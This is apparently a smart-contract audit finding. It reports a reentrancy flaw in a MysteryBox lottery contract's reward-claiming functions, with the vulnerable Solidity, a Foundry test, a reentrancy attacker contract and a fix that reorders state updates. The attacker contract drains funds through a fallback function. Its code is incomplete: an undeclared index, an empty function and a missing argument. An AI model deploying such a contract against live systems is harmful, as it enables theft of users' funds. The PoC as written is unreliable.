Summary
The MysteryBox::claimAllRewards and MysteryBox::claimSingleReward functions do not follow the CEI (Checks - Effects - Interactions) and as a result, users may drain the contract's balance. Both functions first make an external call to the msg.sender before updating the rewardsOwned array.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@> (bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
@> (bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}
A player who has entered the lottery could have a fallback / receive function that calls the MysteryBox::claimAllRewards or MysteryBox::claimSingleReward function again and claim another refund. They could continue the cycle untill the contract balance is drained.
Impact
All fees paid that are kept in the contract's balance could be stolen by malicious user. Despite this attack may cost significant amount of ETH, once the attacker manages to win at least one time, the whole contract's balance (including all fees paid by the attacker) will be drained to the attacker's address.
PoC
User enters the lottery
Attacker sets up a contract with a fallback function that calls MysteryBox::claimAllRewards or MysteryBox::claimSingleReward
Attacker keeps purchasing boxes and opening them until he manages to obtain at least 1 win
Attacker calls MysteryBox::claimSingleReward from their attack contract with the index of the winning record, draining the contract balance
function test_reentrancyclaimSingeReward() public {
ReentrancyAttacker attackerContract = new ReentrancyAttacker(mysteryBox);
address attackUser = makeAddr("attackUser");
vm.deal(attackUser, 10 ether);
uint256 price = mysteryBox.boxPrice();
uint256 startingAttackContractBalance = address(attackerContract).balance;
uint256 startingContractBalance = address(mysteryBox).balance;
vm.prank(attackUser);
attackerContract.purchaseAndOpenBox{value: price}();
console.log("Starting attacker contract balance: ", startingAttackContractBalance);
console.log("Starting contract balance: ", startingContractBalance);
console.log("Ending attacker contract balance: ", address(attackerContract).balance);
console.log("Ending contract balance: ", address(mysteryBox).balance);
}
contract ReentrancyAttacker {
MysteryBox mysteryBox;
uint256 winningValue;
struct Reward {
string name;
uint256 value;
}
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
}
function purchaseAndOpenBox() external payable {
}
function attack() external {
Reward[] memory winnings = mysteryBox.getRewards();
winningValue = winnings[winningIndex].value;
mysteryBox.claimSingleReward(winningIndex);
}
function _stealMoney() internal {
if(address(mysteryBox).balance >= winningValue) {
mysteryBox.claimSingleReward();
}
}
fallback() external payable {
_stealMoney();
}
receive() external payable {
_stealMoney();
}
}
Tools Used
Static analysis, Aderyn, Slither
Recommendations
To prevent this, we should have the MysteryBox::claimAllRewards and MysteryBox::claimSingleReward functions update the rewardsOwned array before making the external call.
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
